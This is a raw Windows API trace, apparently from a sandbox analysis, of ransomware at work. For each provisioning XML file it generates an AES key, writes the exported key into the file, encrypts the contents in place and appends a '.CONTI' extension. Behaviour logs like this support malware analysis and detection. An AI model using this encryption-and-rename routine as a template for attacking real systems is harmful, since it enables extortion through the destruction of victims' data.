	[0107.325] WriteFile (in: hFile=0x390, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x100, lpOverlapped=0x0) returned 1
	[0107.325] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.325] WriteFile (in: hFile=0x390, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0107.325] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.326] CloseHandle (hObject=0x390) returned 1
	[0107.326] GetProcessHeap () returned 0x1720000
	[0107.326] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.326] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml"
	[0107.326] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.CONTI"
	[0107.326] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml.conti")) returned 1
	[0107.327] GetProcessHeap () returned 0x1720000
	[0107.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.327] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.327] GetProcessHeap () returned 0x1720000
	[0107.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbf30 | out: hHeap=0x1720000) returned 1
	[0107.327] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0108.111] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6514760 | out: phKey=0x6514760*=0x17c8330) returned 1
	[0108.111] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514764, pdwDataLen=0x37ffcec | out: pbData=0x6514764*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0108.114] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0108.115] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.115] GetLastError () returned 0x0
	[0108.115] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=846) returned 1
	[0108.115] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34e
	[0108.115] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.115] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.115] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.115] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.115] WriteFile (in: hFile=0x3c4, lpBuffer=0x6514764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6514764*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.117] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.117] ReadFile (in: hFile=0x3c4, lpBuffer=0x8950000, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x34e, lpOverlapped=0x0) returned 1
	[0108.117] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x34e, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x350) returned 1
	[0108.117] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.117] WriteFile (in: hFile=0x3c4, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x350, lpOverlapped=0x0) returned 1
	[0108.117] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.117] WriteFile (in: hFile=0x3c4, lpBuffer=0x6514758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6514758*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0108.117] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.117] CloseHandle (hObject=0x3c4) returned 1
	[0108.117] GetProcessHeap () returned 0x1720000
	[0108.117] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.117] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml"
	[0108.117] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.117] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.118] GetProcessHeap () returned 0x1720000
	[0108.118] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.118] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0108.118] GetProcessHeap () returned 0x1720000
	[0108.118] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bcd08 | out: hHeap=0x1720000) returned 1
	[0108.118] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0108.382] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c8370) returned 1
	[0108.382] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x37ffcec | out: pbData=0x17d5b0c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0108.656] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml")) returned 0x20
	[0110.049] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.054] GetLastError () returned 0x0
	[0110.054] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=724) returned 1
	[0110.054] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0110.059] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.059] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.064] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.064] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.069] WriteFile (in: hFile=0x3dc, lpBuffer=0x17d5b0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d5b0c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.070] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.070] ReadFile (in: hFile=0x3dc, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d4, lpOverlapped=0x0) returned 1
	[0110.070] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d4, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0110.070] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.070] WriteFile (in: hFile=0x3dc, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.070] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.070] WriteFile (in: hFile=0x3dc, lpBuffer=0x17d5b00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d5b00*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.071] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.071] CloseHandle (hObject=0x3dc) returned 1
	[0110.071] GetProcessHeap () returned 0x1720000
	[0110.071] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.071] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml"
	[0110.071] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.CONTI"
	[0110.071] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml.conti")) returned 1
	[0110.071] GetProcessHeap () returned 0x1720000
	[0110.071] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.071] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0110.071] GetProcessHeap () returned 0x1720000
	[0110.072] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65886c0 | out: hHeap=0x1720000) returned 1
	[0110.072] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.072] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b77d30 | out: phKey=0x6b77d30*=0x6b7f3b8) returned 1
	[0110.072] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b77d34, pdwDataLen=0x37ffcec | out: pbData=0x6b77d34*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.072] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.073] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.073] GetLastError () returned 0x0
	[0110.073] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=660) returned 1
	[0110.073] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x294
	[0110.073] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.073] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.073] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.073] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.073] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b77d34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b77d34*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.075] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.075] ReadFile (in: hFile=0x3dc, lpBuffer=0x8950000, nNumberOfBytesToRead=0x294, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x294, lpOverlapped=0x0) returned 1
	[0110.075] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x294, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2a0) returned 1
	[0110.075] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.076] WriteFile (in: hFile=0x3dc, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2a0, lpOverlapped=0x0) returned 1
	[0110.076] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.076] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b77d28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b77d28*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.076] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.076] CloseHandle (hObject=0x3dc) returned 1
	[0110.076] GetProcessHeap () returned 0x1720000
	[0110.076] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.076] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0110.076] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.076] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.077] GetProcessHeap () returned 0x1720000
	[0110.077] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.077] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.077] GetProcessHeap () returned 0x1720000
	[0110.077] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b72600 | out: hHeap=0x1720000) returned 1
	[0110.077] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.077] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b77f78 | out: phKey=0x6b77f78*=0x6b7ef78) returned 1
	[0110.077] CryptExportKey (in: hKey=0x6b7ef78, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b77f7c, pdwDataLen=0x37ffcec | out: pbData=0x6b77f7c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.078] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.078] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.078] GetLastError () returned 0x0
